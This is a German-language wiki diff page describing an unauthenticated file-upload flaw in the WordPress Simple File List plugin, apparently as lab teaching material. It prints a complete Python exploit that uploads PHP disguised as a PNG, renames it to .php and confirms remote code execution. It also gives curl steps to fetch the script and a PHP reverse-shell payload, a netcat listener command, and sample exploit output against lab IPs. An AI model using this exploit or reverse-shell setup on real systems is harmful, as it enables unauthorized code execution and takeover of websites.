Unauthenticated Arbitrary File Upload: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
 
(40 dazwischenliegende Versionen von 3 Benutzern werden nicht angezeigt)
Zeile 1: Zeile 1:
 
=Arbitrary file upload in Simple File List plugin for WordPress=
 
=Arbitrary file upload in Simple File List plugin for WordPress=
==Schachstelle==
+
==Schwachstelle==
Die Schwachstelle besteht aufgrund einer unzureichenden Validierung von Dateien während des Datei-Uploads. Ein entfernter Angreifer kann eine Datei hochladen, die PHP-Code enthält, aber eine png-Bilddateierweiterung hat, dann eine zweite Anfrage senden, um die png-Datei in eine PHP-Datei zu verschieben.
+
*Die Schwachstelle besteht aufgrund einer unzureichenden Validierung von Dateien während des Datei-Uploads.
 +
*Ein entfernter Angreifer kann eine Datei hochladen, die PHP-Code enthält, aber eine png-Bilddateierweiterung hat.
 +
*Dannach wird eine zweite Anfrage gesendet, um die png-Datei in eine PHP-Datei zu verschieben.
 +
*Im Anschluss wird die PHP-Datei aufgerufen und ausgeführt.
  
<syntaxhighlight lang="python">
+
==Ablauf==
import requests
+
{{#drawio:arbitrary}}
 +
==Python3 Script zum Payload Hochladen==
 +
*Das Skript kann unverändert übernommen werden.
 +
*[[python3-scipt-payload|Python3 Script]]
 +
*curl https://xinux.net/images/d/db/Script.py -o script.py
 +
*chmod +x script.py
  
import random
+
==PHP Reverse Shell==
 +
*Die IP und eventuell der Port müssen angepasst werden.
 +
*[[PHP-Reverse-Shell-Script|payload.txt]]
 +
*[[Datei:Payload.txt]]
 +
*curl  https://xinux.net/images/d/d6/Payload.txt -o payload.txt
  
import hashlib
+
==Angreifer==
 +
*netcat -lp 9999
  
import sys
+
==Usage==
 +
*python3 script.py http://10.0.10.104
 +
<pre>
 +
[ ] File 2243.png generated with password: 7faaeb2f6083b6601c4843f47419783a
 +
[ ] File uploaded at http://10.0.10.109/wp-content/uploads/simple-file-list/2243.png
 +
[ ] File moved to http://10.0.10.109/wp-content/uploads/simple-file-list/2243.php
 +
[+] Exploit seem to work.
 +
[*] Confirmning ..
 +
</pre>
  
import os
+
=Aufruf=
 +
*http://10.0.10.109/wp-content/uploads/simple-file-list/2243.php
  
import urllib3
+
=Link=
 
+
https://wpscan.com/vulnerability/10132
urllib3.disable_warnings()
 
 
 
 
 
 
 
dir_path = '/wp-content/uploads/simple-file-list/'
 
 
 
upload_path = '/wp-content/plugins/simple-file-list/ee-upload-engine.php'
 
 
 
move_path = '/wp-content/plugins/simple-file-list/ee-file-engine.php'
 
 
 
 
 
 
 
 
 
 
 
def usage():
 
 
 
    banner = """
 
 
 
NAME: Wordpress v5.4 Simple File List v4.2.2, pre-auth RCE
 
 
 
SYNOPSIS: python wp_simple_file_list_4.2.2.py <URL>
 
 
 
AUTHOR: coiffeur
 
 
 
    """
 
 
 
    print(banner)
 
 
 
 
 
 
 
 
 
 
 
def generate():
 
    filename = f'{random.randint(0, 10000)}.png'
 
 
 
    password = hashlib.md5(bytearray(random.getrandbits(8)
 
 
 
                                    for _ in range(20))).hexdigest()
 
 
 
    with open(f'{filename}', 'wb') as f:
 
 
 
        payload = open("payload.txt","r").read()
 
 
 
        f.write(payload.encode())
 
 
 
    print(f'[ ] File {filename} generated with password: {password}')
 
 
 
    return filename, password
 
 
 
 
 
 
 
 
 
 
 
def upload(url, filename):
 
 
 
    files = {'file': (filename, open(filename, 'rb'), 'image/png')}
 
 
 
    datas = {'eeSFL_ID': 1, 'eeSFL_FileUploadDir': dir_path,
 
 
 
            'eeSFL_Timestamp': 1587258885, 'eeSFL_Token': 'ba288252629a5399759b6fde1e205bc2'}
 
 
 
    r = requests.post(url=f'{url}{upload_path}',
 
 
 
                      data=datas, files=files, verify=False)
 
 
 
    r = requests.get(url=f'{url}{dir_path}{filename}', verify=False)
 
 
 
    if r.status_code == 200:
 
 
 
        print(f'[ ] File uploaded at {url}{dir_path}{filename}')
 
 
 
        os.remove(filename)
 
 
 
    else:
 
 
 
        print(f'[*] Failed to upload {filename}')
 
 
 
        exit(-1)
 
 
 
    return filename
 
 
 
 
 
 
 
 
 
 
 
def move(url, filename):
 
 
 
    new_filename = f'{filename.split(".")[0]}.php'
 
 
 
    headers = {'Referer': f'{url}/wp-admin/admin.php?page=ee-simple-file-list&tab=file_list&eeListID=1',
 
 
 
              'X-Requested-With': 'XMLHttpRequest'}
 
 
 
    datas = {'eeSFL_ID': 1, 'eeFileOld': filename,
 
 
 
            'eeListFolder': '/', 'eeFileAction': f'Rename|{new_filename}'}
 
 
 
    r = requests.post(url=f'{url}{move_path}',
 
 
 
                      data=datas, headers=headers, verify=False)
 
 
 
    if r.status_code == 200:
 
 
 
        print(f'[ ] File moved to {url}{dir_path}{new_filename}')
 
 
 
    else:
 
 
 
        print(f'[*] Failed to move {filename}')
 
 
 
        exit(-1)
 
 
 
    return new_filename
 
 
 
 
 
 
 
 
 
 
 
def main(url):
 
 
 
    file_to_upload, password = generate()
 
 
 
    uploaded_file = upload(url, file_to_upload)
 
 
 
    moved_file = move(url, uploaded_file)
 
 
 
    if moved_file:
 
 
 
        print(f'[+] Exploit seem to work.\n[*] Confirmning ...')
 
 
 
 
 
 
 
    datas = {'password': password, 'cmd': 'phpinfo();'}
 
 
 
    r = requests.post(url=f'{url}{dir_path}{moved_file}',
 
 
 
                      data=datas, verify=False)
 
 
 
    if r.status_code == 200 and r.text.find('php') != -1:
 
 
 
        print('[+] Exploit work !')
 
 
 
        print(f'\tURL: {url}{dir_path}{moved_file}')
 
 
 
        print(f'\tPassword: {password}')
 
 
 
 
 
 
 
 
 
 
 
if __name__ == "__main__":
 
 
 
    if (len(sys.argv) < 2):
 
 
 
        usage()
 
 
 
        exit(-1)
 
 
 
 
 
 
 
    main(sys.argv[1])
 
</syntaxhighlight>
 

Aktuelle Version vom 1. September 2023, 09:14 Uhr

Arbitrary file upload in Simple File List plugin for WordPress

Schwachstelle

  • Die Schwachstelle besteht aufgrund einer unzureichenden Validierung von Dateien während des Datei-Uploads.
  • Ein entfernter Angreifer kann eine Datei hochladen, die PHP-Code enthält, aber eine png-Bilddateierweiterung hat.
  • Dannach wird eine zweite Anfrage gesendet, um die png-Datei in eine PHP-Datei zu verschieben.
  • Im Anschluss wird die PHP-Datei aufgerufen und ausgeführt.

Ablauf

Python3 Script zum Payload Hochladen

PHP Reverse Shell

Angreifer

  • netcat -lp 9999

Usage

[ ] File 2243.png generated with password: 7faaeb2f6083b6601c4843f47419783a
[ ] File uploaded at http://10.0.10.109/wp-content/uploads/simple-file-list/2243.png
[ ] File moved to http://10.0.10.109/wp-content/uploads/simple-file-list/2243.php
[+] Exploit seem to work.
[*] Confirmning ..

Aufruf

Link

https://wpscan.com/vulnerability/10132